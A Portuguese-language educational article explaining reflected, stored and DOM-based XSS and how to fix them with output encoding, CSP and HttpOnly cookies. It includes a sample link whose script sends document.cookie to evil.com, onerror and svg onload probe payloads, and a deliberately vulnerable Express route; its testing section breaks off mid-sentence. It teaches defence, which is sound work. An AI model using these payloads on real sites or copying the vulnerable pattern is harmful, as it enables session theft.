Cross-Site Scripting: Por que XSS Ainda é um Problema em 2024
Uma análise prática de XSS refletido, armazenado e baseado em DOM, como atacantes os exploram e como realmente pará-los.
XSS está no OWASP Top 10 há duas décadas e continua sendo uma das primeiras coisas que um pentester verifica. O bug é simples de explicar e chato de fechar completamente: um atacante consegue fazer seu JavaScript rodar no navegador de uma vítima sob a origem do seu site. Depois que isso acontece, ele pode ler cookies, forjar requisições ou simplesmente reescrever a página na frente do usuário.
Os três tipos
XSS refletido é o clássico ataque de link de phishing. Uma página de busca pega ?q= da URL e o imprime direto no HTML sem encoding. Mande para alguém um link como https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> e se ela clicar enquanto está logada, o cookie de sessão vai para o atacante.
XSS armazenado é pior porque não precisa de um link. Um campo de comentário, uma bio de perfil, uma descrição de ticket de suporte — em qualquer lugar onde entrada de usuário é salva e depois renderizada para outros usuários. Poste o payload uma vez e todo visitante que vê a página é atingido, sem engenharia social necessária.
XSS baseado em DOM existe inteiramente no código do lado do cliente. O servidor nunca vê o payload malicioso; é JavaScript lendo algo como location.hash ou document.referrer e colocando em innerHTML ou eval(). Esse engancha as pessoas porque logs do lado do servidor parecem completamente limpos.
De onde realmente vem
A maioria dos bugs de XSS se resume a um erro: tratar dados não confiáveis como markup ou código confiável. Sinks comuns para ficar atento em JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout com argumento string, e .html() do jQuery. No lado do servidor, template engines que não têm auto-escape por padrão (concatenação simples de strings em HTML) são o culpado usual.
Um exemplo rápido do mundo real: uma app Node/Express fazendo
app.get('/greet', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
tem XSS refletido imediato. req.query.name vai direto para a resposta com zero encoding. Qualquer um acessando /greet?name=<img src=x onerror=alert(document.domain)> prova em cerca de dois segundos.
Corrigindo de verdade
Output encoding com consciência de contexto é a correção real, não um workaround. HTML body, atributo HTML, string JavaScript e contextos de URL cada um precisa de regras de encoding diferentes — uma biblioteca como Java Encoder do OWASP, ou auto-escape built-in em template engines como Jinja2, React JSX ou Handlebars, lida com isso corretamente. React em particular escapa conteúdo de texto por padrão, o que é por que dangerouslySetInnerHTML é nomeado dessa forma: é uma etiqueta de aviso.
Validação de entrada ajuda mas não é suficiente por si só. Denylist de tags <script> é constantemente contornada — <img src=x onerror=...>, <svg onload=...>, ou event handlers em quase qualquer tag funcionam. Allowlist de formatos esperados (um regex de email, um ID numérico) é ok como camada secundária, mas não substitui proper output encoding.
Content-Security-Policy é a camada de defense-in-depth mais forte disponível. Uma política como
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';
bloqueia scripts inline e fontes de script de terceiros a menos que explicitamente nonce'd ou allowlisted, o que para a maioria dos payloads de XSS de executar mesmo se escaparem do encoding. Evite unsafe-inline e unsafe-eval em CSPs de produção; eles derrotam a maioria da proteção.
Defina cookies com flags HttpOnly e Secure para que até um XSS bem-sucedido não consiga ler o cookie de sessão direto através de document.cookie. Não pára a injeção mas limita o raio de explosão consideravelmente.
Testando você mesmo
O active scanner do Burp Suite pega bastante XSS refletido e armazenado automaticamente, mas teste manual ainda importa para casos baseados em DOM. Ferramentas como a suite de testes do próprio DOMPurify ou simplesmente grepping seu codebase por innerHTML = e eval( vai trazer à tona um número surpreendente de findings rapidamente. Para uma sondagem manual, o payload `
Escrito com assistência de IA, revisado e publicado por Michal Pilch (CISSP), Korra Studio.
Esta é uma anotação da base de conhecimento da Korra Studio — a plataforma associa cada tema com mentoria 1-para-1.
Começar gratuitamentearrow_forward